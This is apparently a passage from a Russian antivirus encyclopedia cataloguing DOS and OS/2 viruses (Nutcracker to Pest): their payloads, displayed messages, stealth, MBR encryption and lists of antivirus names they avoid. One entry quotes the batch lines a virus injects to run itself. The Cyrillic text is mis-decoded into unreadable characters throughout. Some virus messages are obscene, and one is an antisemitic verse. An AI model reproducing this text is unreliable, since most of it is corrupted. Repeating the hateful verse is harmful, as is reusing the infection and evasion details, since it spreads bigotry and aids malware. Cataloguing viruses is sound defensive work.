Íåîïàñíûå ðåçèäåíòíûå âèðóñû-÷åðâè. Ïðè ñòàðòå èíôèöèðîâàííîé ïðîãðàììû
âèðóñû âûâîäÿò òåêñòû:
Nutcracker.Info.2133:
InfoSystem version1.02
Reading System Information...
Computer type: IBM PC
Nutcracker.Info.2142:
-*- INFOSYSTEM -*-
version 1.04
(C) 1995 by Ziff Co.
Reading System Information...
Computer type: IBM PC
Nutcracker.Info.2259:
Reading System Information...
Computer type: IBM PC
ïîñëå ýòîãî âèðóñû ïðîâåðÿþò òèï êîìïüþòåðà è ïå÷àòàþò îäíó èç
ñëåäóþùèõ ñòðîê: "Original", "XT", "AT", "Convertible", "PS/2","Junior"
èëè "Unknown". Äàëåå âûâîäèòñÿ òåêñò:
Checking HDD controller...
SCSI controller type: Unknown (Error14)
è ïðîèçâîäèòñÿ çàðàæåíèå ñèñòåìû. Âèðóñ ñîçäàåò â êàòàëîãàõ, îòìå÷åííûõ
÷åðåç ïåðåìåííóþ "PATH", ôàéë INFO.COM (èëè INFOSYS.COM), ñîäåðæàùèé
âèðóñíûé êîä. Çàòåì îí (âèðóñ) ïðîèçâîäèò ïîèñê *.BAT-ôàéëîâ è
çàïèñûâàåò â èõ íà÷àëî êîìàíäû:
@if not exist info.com goto noinfo
@info>nul
:noinfo
èëè:
@if not exist infosys.com goto noinfo
@infosys>nul
:noinfo
Ïðè çàïóñêå òàêîãî BAT-ôàéëà ïðîèçâîäèòñÿ çàïóñê ôàéëà INFO.COM
(èëè INFOSYS.COM) è, ñëåäîâàòåëüíî, óïðàâëåíèå ïîëó÷àåò âèðóñíûé êîä.
Ýòîò âèðóñíûé êîä ðàçìåùàåò ñâîþ ðåçèäåíòíóþ êîïèþ â ïàìÿòè è
"ïåðåõâàòûâàåò" INT 1Ch è INT 21h. Ïðè ïîïûòêå äîñòóïà ê èçìåíåííûì
âèðóñàìè BAT-ôàéëàì âèðóñû âêëþ÷àþò ñâîè ñòåëñ-ïðîöåäóðû. Ïðè çàïóñêå
ïðîãðàìì CHKDSK, WEB èëè DRWEB âèðóñû îòêëþ÷àþò ñâîè ñòåëñ-ðåæèìû.
Nutcracker.Snowfall.945, 1015 (1,2)
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Èíîãäà âûçûâàþò íà ýêðàíå ýôôåêò
ïàäàþùåãî ñíåãà. Åñëè â ýòîò ìîìåíò çàïóñòèòü èíôèöèðîâàííóþ ïðîãðàììó,
òî âèðóñû âûâîäÿò òåêñò "Given program was generated in BrPI (c) 1994
The Snowfall.".
NYB
 1 ÷àñ íî÷è è â 9 óòðà "âåøàåò" ñèñòåìó ïðè ÷òåíèè äèñêà.
Obid.555
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Âûâîäèò òåêñòû "V mene obid,poguljay" è
"Prijdesh zavtra ja vidpochivaju".
Ocsana.692
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. 13 àâãóñòà âûâîäèò òåêñò "Happy birthday,
Ocsana!"
OhLaLa.1895
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Óäàëÿåò ôàéëû *.MS, *VIR.DAT. Äî 13
÷èñëà ìåñÿöà ïðîèãðûâàåò ìåëîäèþ è âûâîäèò íà ýêðàí òåêñò:
Ohhhh La La!
Mommmmy, they're teasing me again
Shut up you little sonsuvbitches
OkYes.1257
Î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ. Ìîæåò óíè÷òîæèòü èíôîðìàöèþ âñåõ
äîðîæêàõ ïåðâîé ãîëîâêè æåñòêîãî äèñêà. Î÷åíü íèçêà âåðîÿòíîñòü âûâîäà
íà ýêðàí ñèìâîëîâ "!" âìåñòå ñî çâóêîâûì ñèãíàëîì. Ñâîå íàçâàíèå
ïîëó÷èë çà âûçîâ INT 11h ñî ñëîâîì "Ok? " â ðåãèñòðàõ AX, BX è
îæèäàíèåì îòâåòíîãî ñëîâà â òåõ æå ðåãèñòðàõ "Yes." (?).
OldYankee.1961
Ïîñëå çàðàæåíèÿ EX-ôàéëà èñïîëíÿåò ìåëîäèþ "Yankee Doodle".Èìååò ñòðîêó
"motherfucker".
OldYankee.Bandit
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Â ïîíåäåëüíèê ïûòàåòñÿ îòôîðìàòèðîâàòü
íóëåâóþ äîðîæêó äèñêåòû â òðåòüåì ôëîïïè-äèñêîâîäå. Ñîäåðæèò òåêñò
"!!PCBANDIT!!".
Olenka.6144
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Óñòàíàâëèâàåò ñâîþ ðåçèäåíòíóþ êîïèþ â
âåðõíèõ àäðåñàõ ïàìÿòè, "îòðåçàÿ" ïðè ýòîì îò ïàìÿòè DOS 12K (àäðåñ
0:413h). Ïðè ïîïûòêå êàêîé-ëèáî ïðîãðàììû îñòàòüñÿ â ïàìÿòè ðåçèäåíòíî,
âèðóñ îñâîáîæäàåò ðàíåå çàíÿòóþ îáëàñòü ïàìÿòè è êîïèðóåò ñâîé êîä
â ïàìÿòü, ðàñïîëîæåííóþ íåïîñðåäñòâåííî çà êîäîì ïðîãðàììû, ïûòàþùåéñÿ
îñòàòüñÿ ðåçèäåíòíî. Äëÿ âûïîëíåíèÿ äàííîé îïåðàöèè âèðóñ óâåëè÷èâàåò
âåëè÷èíó çàïðàøèâàåìîãî ó÷àñòêà ïàìÿòè íà ðàçìåð ñîáñòâåííîãî êîäà. 26
àïðåëÿ âèðóñ âûâîäèò íà ýêðàí òåêñò "Demo !". Ñâîå íàçâàíèå ïîëó÷èë çà
çàñûëêó â íåêîòîðûå ðåãèñòðû ôðàçû "Îëåíüêà!".
Olga.4448
Îïàñíûé ðåçèäåíòíûé âèðóñ. Â îêòÿáðå óíè÷òîæàåò ñîäåðæèìîå ïåðâûõ
ñåêòîðîâ òåêóùåãî ôèçè÷åñêîãî äèñêà è â ýòî âðåìÿ âûâîäèò òåêñò:
You must undertake nothing ,if you need the datas stored on your default disk.
Íå ñîâåòóþ ÷òî ëèáî ïðåäïðèíèìàòü åñëè âû äîðîæèòå äàííûìè çàïèñàííûìè íà òåêó-
ùåì äèñêå.
I M A R C E N C Y
T H E V I R U S O L G A W O R K I N G .
( W R I T E N B Y S C O R P I O N )
Â Í È Ì À Í È Å
Ð À Á Î T À Å Ò Â È Ð Ó Ñ Î Ë Ü Ã À .
( Ñ Î Ñ Ò À Â È Ò Å Ë Ü - S C O R P I O N )
Ðàç íà âîêçàëå ÿ äåâóøêó âñòðåòèë Íå çíàþ, ÷òî â íåé ìíå ïðèãëÿíóëîñü,
Îíà î÷åíü ñèëüíî ïîíðàâèëàñü ìíå, Íî ýòè ãëàçà ìåíÿ çàâëåêëè.
À ïîçæå â âàãîíå åå ÿ ïðèìåòèë, Âî ìíå ñëîâíî ÷òî-òî ïðîñíóëîñü ...
Ñèäåëà òà äàëüøå, íà äðóãîé ñòîðîíå. Î, êàê áûñòðî ÷àñû òå ïðîøëè !
Ïîòîì îêàçàëîñü, ÷òî åäèì ìû âìåñòå, Â îáùåíèè ÿ áûë äëÿ íåå êàê íàñòàâíèê,
Î, êàê ÷óäíî òî áûëî óçíàòü ! Çà ñòàðøåãî ìîãëà ìåíÿ îíà çâàòü.
È âîò - î÷óòèâøèñü íà ìåñòå, È âûãëÿäåë ÿ òî÷íî çàáàâíèê,
ß ñòàðàëñÿ åå âî âñåì ïîääåðæàòü. Êîòîðûé ìîã âñå è âñÿ ïîïèðàòü.
Êàê ñèëüíî âñå âðåìÿ ñòàðàëñÿ Íî òóò åãî âåëè÷åñòâî ñëó÷àé
Åå õîòü íå ìíîãî, íî âûøå ïîäíÿòü. Åå âäðóã ê âåðøèíàì âîçíåñ.
Êàê ñèëüíî òîãäà ÿ ñàì ïðèíèæàëñÿ, È ÿ åé ñêàçàë, ÷òî íàä ãîðíîþ êðó÷åé,
È âñå äëÿ òîãî ,÷òî áû ðàâíûìè ñòàòü. Ëþáîâü â ñâîåì ñåðäöå ÿ íåñ.
Î! Êàê ñèëüíî òîãäà ÿ áîÿëñÿ, È òîãäà, óíèæåíüÿ òàê ñèëüíî áîÿñü,
×òî ñòàðàÿñü ïðèíèçèòü ñåáÿ, ß ñîëãàë, ÿ ñîëãàë, íî âñåãî îäèí ðàç.
ß íå òîëüêî ñ íåé ïîðîâíÿëñÿ, È ñîâðàë ëèøü ê ïðèçíàíüþ ñòðåìÿñü,
Íî è íèæå âäðóã ñòàíó ìãíîâåíüå ñïóñòÿ. Íî íå áûë óñëûøàí íåãðîìêèé ìîé ãëàñ.
Î, áîæå íàñêîëüêî îíà èçìåíèëàñü, ß çíàë, ÷òî ïðèäåò ÷àñ ïðîùàíüÿ,
Êàê ñèëüíî ñåáÿ îíà ïîäíÿëà! Âåäü íàñêâîçü åå âèäåòü ÿ ìîã.
È çà íîñ ìåíÿ ïîâîäèòü âäðóã ðåøèëàñü, È âîò óñëûõàë îò íåå - äî ñâèäàíüÿ,
Ïðî ýòî íå ñêàæåøü òî ñëîâî - "Ëþáÿ". È äðóãîì îñòàòüñÿ ê òîìó æå çàðîê.
Ìíå áîëüíî! È îíà ýòî çíàëà. Íå ñìåéñÿ òû, äóðàêîì ìåíÿ íàçûâàÿ.
Îíà çíàëà, ÷òî ÿ åå ïîëþáèë. Î íåò! Íå áóäó îäèí ÿ ñòðàäàòü!
È õîòü îòêàç ýòîò òèõèé ìíå äàëà, È â ïîìîùü èñêóñòâî ñâîå ïðèçûâàÿ,
ß äóøó ñâîþ óæå îòðàâèë. Õî÷ó õîòü ÷àñòèöó òåáå ïåðåäàòü.
ß âêëàäûâàþ âñþ ÷åðíóþ ÷àñòü äóøè ñâîåé,
 òî ìàñòåðñòâî ïðîñòîå,
Êîòîðîå ïðåäñòàâèò ó÷àñòè ìîåé,
Íàðîäó ìíîæåñòâî áîëüøîå.
È ÷òî áû ó÷àñòü ýòà ñëàùå áûëà,
ß íàðåêàþ äåìîíà èìåíåì åå.
È çíàê êîòîðûé òà íîñèëà,
Îçíà÷èò äåéñòâèå ñèå.
È òàê, åãî íàçâàë ÿ Îëüãà, Ñïàñèáî äðóã, ÷òî îòõëåáíóë èç ÷àøè.
È çäåñü îí óíè÷òîæèë âñå. Òî íå ïðîáëåìà, íå ñêèñàé!
Îò áûâøåãî îñòàëñÿ ñòèõ ñåé òîëüêî. Ìû ñîâìåñòèëè áîëè íàøè ...
Î, íå ñòàðàéñÿ, íå ïîéìàòü òåáå åå. Íî ìíå êàæèñü ïîðà. Ïðîùàé!
Omega.440
Îïàñíûé íåðåçèäåíòíûé âèðóñ.  ïÿòíèöó 13 ÷èñëà óíè÷òîæàåò ñîäåðæèìîå
ïåðâûõ ñåêòîðîâ ïåðâîãî æåñòêîãî äèñêà.
OneHalf.3544 (1-7), 3570, 3577, 3666
Î÷åíü îïàñíûå ïîëèìîðôíûå ôàéëîâî-çàãðóçî÷íûå ñòåëñ-âèðóñû. Èñïîëüçóþò
àëãîðèòì çàðàæåíèÿ, ïîõîæèé íà àëãîðèòì CommanderBomber. Íî ïîìèìî
òîãî, ÷òî "óñåèâàþò ïÿòíàìè" ñâîåãî êîäà (10 "ïÿòåí" ïî 10 áàéò)
èíôèöèðîâàííûé ôàéë, ïðîèçâîäÿò øèôðîâàíèå îñíîâíîãî òåëà âèðóñà,
ðàñïîëîæåííîãî â êîíöå ôàéëà. Ïðè ïåðâîì çàïóñêå èíôèöèðîâàííîãî ôàéëà,
çàðàæàþò MBR "âèí÷åñòåðà". Îðèãèíàëüíûé MBR è 7 ñåêòîðîâ ñâîåãî òåëà
"ïðÿ÷óò" â ïîñëåäíèõ ñåêòîðàõ 0 öèëèíäðà æåñòêîãî äèñêà. Ïðè
ïåðåçàãðóçêå êîìïüþòåðà, "îòðåçàþò" îò äîñòóïíîé DOS ïàìÿòè 4K,
ñ÷èòûâàþò â "îòðåçàííóþ" âåðõíþþ îáëàñòü ïàìÿòè ñâîå ïðîäîëæåíèå - 7
ñåêòîðîâ, è ïåðåõâàòûâàþò INT 13h è INT 1Ch. Êîíòðîëèðóþò ñ ïîìîùüþ INT
1Ch óñòàíîâêó DOS'îâñêîãî INT 21h, è ïåðåõâàòûâàþò åãî. Ïðè êàæäîé
ïåðåçàãðóçêå ñèñòåìû ñ æåñòêîãî äèñêà ïîñëåäîâàòåëüíî, íà÷èíàÿ ñ
ïîñëåäíèõ öèëèíäðîâ, øèôðóþò âñå ñåêòîðà äâóõ öèëèíäðîâ íà êàæäîé
ãîëîâêå äèñêà. Êîãäà âèðóñû íàõîäÿòñÿ â ïàìÿòè, îíè êîíòðîëèðóþò ÷òåíèå
ñåêòîðîâ äàííûõ öèëèíäðîâ è ðàñøèôðîâûâàþò èõ. Åñëè æå âèðóñû áóäóò
óäàëåíû èç MBR è ïàìÿòè, òî âîññòàíîâëåíèå çàøèôðîâàííûõ ñåêòîðîâ
îêàæåòñÿ íåâîçìîæíûì. Ïðè çàøèôðîâûâàíèè ïîëîâèíû äèñêà âèðóñû âûâîäÿò
íà ýêðàí ôðàçó:
Dis is one half.
Press any key to continue ...
OneHalf.3544 (3) âûâîäèò òåêñò:
Dis is TWO HALF.
Fucks any key to Goping...
OneHalf.3544 (4):
HET - ôu3uke u ucTopuu B pacnucaHuu uy7 !
OneHalf.3544 (5):
Disk is Tpu half.
(Bepx, Hu3 u Pe6po)
OneHalf.3544 (6):
Dis is 3 HALF !.
Fucks any key to LoHing...
OneHalf.3544 (7):
A cup of Beer ?.
See you later...
Ïîñëå ýòîãî îæèäàþò íàæàòèÿ íà ëþáóþ êëàâèøó. Ïîñëå ÷åãî ïðîäîëæàþò
ñâîþ äàëüíåéøóþ èíñòàëëÿöèþ â ïàìÿòü. Ïðè ïîïûòêå òðàññèðîâêè
ðåçèäåíòíîé ÷àñòè âèðóñà, ïðåäïðèíèìàþò íåêîòîðûå ïðîñòûå, íî
äåéñòâåííûå ìåðû "çàâåøèâàíèÿ" ñèñòåìû. Ñîäåðæàò òåêñòîâûå ñòðîêè "Did
you leave the room?" èëè "DidYouLeaveTheRoom?". OneHalf.3544 (3) èìååò
òåêñò "User is loh !". Íå çàðàæàþò ôàéëû ñ èìåíàìè SCAN,CLEAN,FINDVIRU,
GUARD,NOD,VSAFE,MSAV,CHKDSK,AIDS,ADINF,WEB. Âèðóñû OneHalf.3544 (4,5)
íå çàøèôðîâûâàþò äèñê. OneHalf.3544 (4) ñîäåðæèò òåêñòû "Copyright(c)
by Automatic Integerated Digital Software", "3TO - HE Bupyc, cynepxakep
Ara6ekoB !", "CugopeHKOB - gypak !!!". OneHalf.3544 (6) èìååò òåêñò
"WEB - LOH !!!", Onehalf.3666 - "Hail to the GREAT OneHalf's author!".
OneHalf.3544 (7): "Doyou want to Drink ?".
Oops.600
Îïàñíûé ðåçèäåíòíûé âèðóñ. Çàðàæàåò ôàéëû òîëüêî íà÷èíàÿ ñ èþíÿ.
Ïîñëå óñòàíîâêè ñâîåé TSR-êîïèè èëè ïðè ñòàðòå ïðîãðàìì, îêàí÷èâàþùèõñÿ
íà ST, NF, -V, âèðóñ âûâîäèò ñîîáùåíèå "Bad command or file name". Â
âîñêðåñåíüå ïåðåèìåíîâûâàåò C:\COMMAND.COM â C:\COMMAND.BAD è âûâîäèò
òåêñò:
ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
ÛÛ Oops! Sorry for BAD virus! ÛÛ
ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
Ornate
Î÷åíü îïàñíûé çàãðóçî÷íûé âèðóñ. Ìîæåò óíè÷òîæèòü èíôîðìàöèþ íà æåñòêîì
äèñêå.
OS2.Arelocs
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ, çàðàæàþùèé *.EXE è *.DLL - ôàéëû â
ôîðìàòå NewExe (NE), ïðèíàäëåæàùèå OS/2. Äàííûé âèðóñ íàõîäèò â
çàãîëîâêå NE òî÷êó âõîäà íà êîäîâûé ñåãìåíò, "ñäâèãàåò" âñå îñòàëüíûå
ñåãìåíòû â êîíåö ôàéëà, óâåëè÷èâàåò ðàçìåð ñòàðòîâîãî êîäîâîãî ñåãìåíòà
íà ðàçìåð âèðóñà, çàïèñûâàåò ñåáÿ â îñâîáîäèâøååñÿ ìåñòî è êîððåêòèðóåò
çàãîëîâîê NE. Ýòî ïåðâûé èçâåñòíûé âèðóñ äëÿ OS/2, "êîððåêòíî è
ïðàâèëüíî" çàðàæàþùèé NewExe (NE) ôàéëû. Âèðóñ ñîäåðæèò òåêñò "(C) 1995
American Eagle Publications Inc., All rights reserved.".
OS2.First
Îïàñíûé íåðåçèäåíòíûé, ïåðåçàïèñûâàþùèé (overwritting) ïðîãðàììíûé êîä,
âèðóñ. Çàðàæàåò *.EXE - ôàéëû â ôîðìàòå NewExe (LX) (ôàéëû äëÿ OS/2).
Âèðóñ âûâîäèò íà ýêðàí ñîîáùåíèÿ:
My name is
--> infected
OS2.Jiskefet
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Çàðàæàåò *.EXE- ôàéëû äëÿ OS/2. Âèðóñ
÷èòàåò 2048 áàéò çàãîëîâêà ôàéëà-æåðòâû, çàïèñûâàåò èõ â êîíåö ôàéëà, à
â íà÷àëî ôàéëà çàïèñûâàåò 2048 áàéò ñâîåãî âèðóñíîãî êîäà. Âèðóñ èìååò
òåêñòû "Jiskefet", "MK".
Otti.937
Îïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. 14 è 18 ÷èñëà ìåñÿöà óíè÷òîæàåò
MBR ïåðâîãî æåñòêîãî äèñêà. Èìååò ñòðîêó "OTTI FOREVER".
Ox.475
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Èñïîëüçóåò îäèí èç 4 âàðèàíòîâ
ðàñøèôðîâùèêîâ ñâîåãî êîäà.
Oxana.747, 819
Íåîïàñíûé ðåçèäåíòíûå âèðóñû. Íå çàðàæàþò ïðîãðàììû, ñîäåðæàùèå ñòðîêè
Oxana.747: "Web" èëè "ADi", Oxana.819: "viru" èëè "âèðó". Ñîäåðæàò
òåêñòû "Îêñàíà v.4.8" èëè "Îêñàíà v.4.D".
Oxana.1419, 1555, 1653, 1654, 1702
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Èíîãäà âûâîäÿò òåêñò:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĬ
¦ ß âèðóñ! ¦
¦ Óãàäàé ìîå èìÿ,èëè ÿ ïðè÷èíþ ñòðàøíûå ðàçðóøåíèÿ... ¦
¦ ¦
¦ ¦
¦ ÚĬ ÚĬ ÚĬ ÚĬ ÚĬ ÚĬ ¦
¦ ¦*¦ ¦*¦ ¦*¦ ¦*¦ ¦*¦ ¦*¦ ¦
¦ ÀÄÙ ÀÄÙ ÀÄÙ ÀÄÙ ÀÄÙ ÀÄÙ ¦
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Åñëè ââåñòè èìÿ "ÎÊÑÀÍÀ", òî âèðóñ âûâîäèò ñëåäóþùåå ñîîáùåíèå:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĬ
¦ ß âèðóñ! ¦
¦ Óãàäàé ìîå èìÿ,èëè ÿ ïðè÷èíþ ñòðàøíûå ðàçðóøåíèÿ... ¦
¦ ¦
¦ ¦
¦ ÚĬ ÚĬ ÚĬ ÚĬ ÚĬ ÚĬ ¦
¦ ¦Î¦ ¦Ê¦ ¦Ñ¦ ¦À¦ ¦Í¦ ¦À¦ ¦
¦ ÀÄÙ ÀÄÙ ÀÄÙ ÀÄÙ ÀÄÙ ÀÄÙ ¦
ÀÏðàâèëüíî! Íàéäèòå Áîðèñîâó Îêñàíó äëÿ ïîëó÷åíèÿ àíòèâèðóñàÙ
Palma
Íåîïàñíûé çàãðóçî÷íûé ñòåëñ-âèðóñ. Ïðè çàðàæåíèè MBR æåñòêîãî äèñêà
èñïîëüçóåò ïðÿìîå ïðîãðàììèðîâàíèå êîíòðîëëåðà æåñòêîãî äèñêà. Ñîäåðæèò
òåêñò "Palma5.".
Pamyat.2000 (1-5)
Íåîïàñíûå íåðåçèäåíòíûå øèôðîâàííûå âèðóñû. Ïðè îáíàðóæåíèè â îêðóæåíèè
ïðîãðàììû (ENVIRONMENT) ñòðîêè "OBSHCHESTVO="Ïàìÿòü"" âèðóñû âûâîäÿò
òåêñò:
ÂÍÈÌÀÍÈÅ ! ! ! Ýòà ïðîãðàììà çàðàæåíà ìîèì âèðóñîì !
Âî èçáåæàíèå íåäîðàçóìåíèé ñèñòåìà çàâåøåíà.
1 äåêàáðÿ âûâîäÿò òåêñò:
ß ëþáëþ Òàíþ !
Ïîçäðàâëÿþ å¸ ñ äíåì ðîæäåíèÿ !
èëè:
Ñåé âèðóñ ïîñâÿùåí Òàíå.
Ïîçäðàâëÿþ å¸ ñ äí¸ì ðîæäåíèÿ !
Òàíÿ, ÿ ëþáëþ òåáÿ !!!
èëè:
Ñåé áåçîáèäíûé âèðóñ ïîñâÿù¸í Òàíå.
Ïîçäðàâëÿþ å¸ ñ äí¸ì ðîæäåíèÿ !
Òàíÿ, ÿ î÷åíü ëþáëþ òåáÿ !!!
 ñåíòÿáðå Pamyat.2000 (3) âûâîäèò òåêñò:
Ñèÿ ïðîãðàììà çàðàæåíà âèðóñîì.
Ïîêóïàéòå AIDSTEST !
Pamyat.2000 (5) ïî ñðåäàì â íîÿáðå âûâîäèò òåêñò:
Ðàäóéòåñü, ëþäè: ñêîðî ó Òàíè áóäåò äåíü ðîæäåíèÿ.
Ïîñëå 1 ñåíòÿáðÿ â ïîíåäåëüíèê òàêæå ìîæåò áûòü âûâåäåí òåêñò:
Äâà Ðèìà ïàëè, òðåòèé åñòü, à ÷åòâåðòîìó - íå áûòü !
Ñîäåðæàò â ñâîåì òåëå ñòðîêó "Íîâîñèáèðñê, 6 - 8 - 1996. Version 3b"
èëè "Íîâîñèáèðñê, 17-10-1996. Version 3d", èëè "Íîâîñèáèðñê,
8-11-1996. Âåðñèÿ 3e.".
Pamyat.3000 (1,2)
Î÷åíü îïàñíûå íåðåçèäåíòíûå øèôðîâàííûå âèðóñû. Ïðè îáíàðóæåíèè â
îêðóæåíèè ïðîãðàììû (ENVIRONMENT) ñòðîêè "OBSHCHESTVO="Ïàìÿòü"" âèðóñû
âûâîäÿò òåêñò:
ÂÍÈÌÀÍÈÅ ! ! ! Ñèÿ ïðîãðàììà çàðàæåíà ìîèì âèðóñîì !
Âî èçáåæàíèå íåäîðàçóìåíèé ñèñòåìà çàâåøåíà.
"Îáðåçàþò" ôàéëû ôîðìàòîâ NewExe (NE) è PortableExe (PE) äî 1024 áàéò è
â DOS-çàãîëîâîê ýòèõ ôàéëîâ âèðóñû çàïèñûâàþò êîä, âûâîäÿùèé íà ýêðàí
òåêñò "This program must be run under OS/2.". Â ôàéë DRWEB.EXE âèðóñû
çàïèñûâàþò êîä, çàâåðøàþùèé ðàáîòó ïðîãðàììû. 1 äåêàáðÿ âûâîäÿò òåêñò:
Î÷åðåäíîé âàðèàíò ñåãî áåçîáèäíîãî âèðóñà ñíîâà ïîñâÿù¸í Òàíå.
Òàíÿ, ïîçäðàâëÿþ òåáÿ ñ äí¸ì ðîæäåíèÿ !
Òàíÿ, ÿ î÷åíü ëþáëþ òåáÿ !!!
3 àïðåëÿ - ñëåäóþùèé òåêñò:
Ìû ïðîêëèíàåì â îòâåò íåïîòðåáíîå ïëåìÿ åâðååâ,
×òî íàä ñîáîþ òâîðèò ãíóñíûé, áåññòûäíûé îáðÿä,
Ãëóïûõ òåîðèé èñòî÷íèê, ñ õîëîäíîé ñóááîòîé íà ñåðäöå -
Ñåðäöå æ åù¸ õîëîäíåé ñàìîé ðåëèãèè èõ.
Êàæäûé ñåäüìîé îíè äåíü ïðåáûâàþò â ïîçîðíîì áåçäåëüè -
Âÿëûé, ëåíèâûé èõ Áîã â ýòîì èì äåëå ïðèìåð.
Ïðî÷èå âûäóìêè èõ - ëèøü ðàáîâ ëåãêîâåðíûõ óòåõà:
Óìíûé ðåá¸íîê - è òîò èì áû ïîâåðèòü íå ìîã.
Ïóñòü áû íåñóùåå óæàñ îðóæüå Ïîìïåÿ è Òèòà
Íå ïîêîðÿëî ñîâñåì íàì èóäåéñêîé ñòðàíû!
Âûðâàâ èç ïî÷âû, çàðàçó ïî áåëîìó ñâåòó ïóñòèëè -
È ïîáåäèòåëü ñ òåõ ïîð ñòîíåò ïîä èãîì ðàáà.
Ðóòèëèé Íàìàöèàí
"De reditu suo"
Ñîäåðæàò òåêñò "Íîâîñèáèðñê, 31-03-1997. Âåðñèÿ 3f.".
Panda.1062, 1070
Íåîïàñíûå íåðåçèäåíòíûå øèôðîâàííûå âèðóñû. Â âîñêðåñåíüå ïûòàþòñÿ
âûëå÷èòü èíôèöèðîâàííûå ôàéëû. Panda.1070 ñîäåðæèò òåêñò "Hi!PD".
Pande.1516, 1520, 1532
Íåîïàñíûå ðåçèäåíòíûå ñòåëñ-âèðóñû. Ïî âîçìîæíîñòè óñòàíàâëèâàþò ñâîè
ðåçèäåíòíûå êîïèè â îáëàñòü UMB. Ïðè çàïóñêå ïðîãðàìì èç ñïèñêà (ïî 2
áóêâû íà èìÿ) F-TBARRALHPKCH îòêëþ÷àþò ñâîè ñòåëñ-ïðîöåäóðû. Ñîäåðæàò
òåêñòû "pandemonium by retch", "17/04/96".
Pantera.400
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Â âèðóñå èìååòñÿ ñòðîêà "Pantera".
Parity (1-3)
Íåîïàñíûå Boot-âèðóñû. Èíîãäà âûâîäÿò íà ýêðàí ñîîáùåíèå "PARITY CHECK"
è "âåøàþò" ñèñòåìó. Ïåðåæèâàþò "òåïëóþ" ïåðåçàãðóçêó (Ctrl-Alt-Del).
Paul.1536
Ñîäåðæèò ñòðîêó "1992".
Paula
Íåîïàñíûé çàãðóçî÷íûé âèðóñ. Ñîäåðæèò òåêñò "DIGITAL'93".
Paulus.1804
Îïàñíûé ðåçèäåíòíûé âèðóñ. Ìîæåò èçìåíÿòü íà ýêðàíå ìîíèòîðà áîëüøèå
áóêâû íà ìàëåíüêèå, à òàêæå ïðè íàæàòèè íà Ctrl-Alt-Del ìîæåò âûâåñòè
òåêñò "Paulus de DOSkabouter lives here..." è "çàâåñèòü" ñèñòåìó. Èìååò
òåêñò "(C) MeThOxY 1996".
Pcbb.J4j.833
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñòû "Jump 4 Joy, alpha-
release. Not to be distributed!", "AJ4J".
PeaceKeeper.3820
Îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Çàðàæàåò COM è EXE-ôàéëû. Â COM-
ôàéëû âèðóñ âíåäðÿåòñÿ ïî ìåòîäó âèðóñà CommanderBomber. Èíîãäà âèðóñ
ìîæåò óíè÷òîæèòü boot-ñåêòîð äèñêà A:, çàïèñàâ â îáëàñòü çàãðóç÷èêà
êîä, êîòîðûé âûâîäèò íà ýêðàí òåêñò:
Peace-Keeper Virus V2.10
Written by Doctor Revenge 18-May-1994 , Italy
è "âåøàåò" ñèñòåìó. Òàêæå âèðóñ ñîäåðæèò òåêñòû "[MCG v0.31ñ]" è
"SCCLVIVSMSCPF-IMVHTB". Âèðóñ íå çàðàæàåò ôàéëû, ñîäåðæàùèå ïåðâûå 2
áóêâû, óêàçàííûå â ïîñëåäíåé ñòðîêå.
Peach.887
Ðåçèäåíòíûé âèðóñ. Óíè÷òîæàåò ôàéëû CHKLIST.CPS. Èíîãäà çàïèñûâàåò
òåêñòîâóþ ñòðîêó "Roy CuatroNo 2 Peach GardenMeyer Rd. Spore 1543" ïî
àäðåñó 0040:00FC.
Peel.334
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Ïðè íåàêêóðàòíîé òðàññèðîâêå óíè÷òîæàåò
ñîäåðæèìîå 720 ñåêòîðîâ äèñêà C:. Ïåðèîäè÷åñêè óñòàíàâëèâàåò ïðèçíàê
íåàêòèâíîãî (íåçàãðóæàåìîãî) ðàçäåëà äëÿ ïåðâîãî ëîãè÷åñêîãî äèñêà â
òàáëèöå ðàçäåëîâ (partition table), â MBR.
Penetrator.491
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïðè çàãðóçêå ïðîãðàììû, êàê îâåðëåÿ
(f.4B03h èëè 4B01h INT 21h) âûâîäèò òåêñò:
PENETRATOR V3.02 (COM)
EA Cybernetic Empire
(C) BY GOSHA.INC. 1994
Your PC now Infected !
Pest.2743
Îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. 13 ÷èñëà ìîæåò óíè÷òîæèòü 256
ñåêòîðîâ ïåðâîãî æåñòêîãî äèñêà. Ñîäåðæèò òåêñòîâûå ñòðîêè
"Pest (c) 12/10/93 by (and best wishes from) PRIEST Int., Gbw/Germany",
"ASCECLHVSPF-ACPRVINWI".
Peter
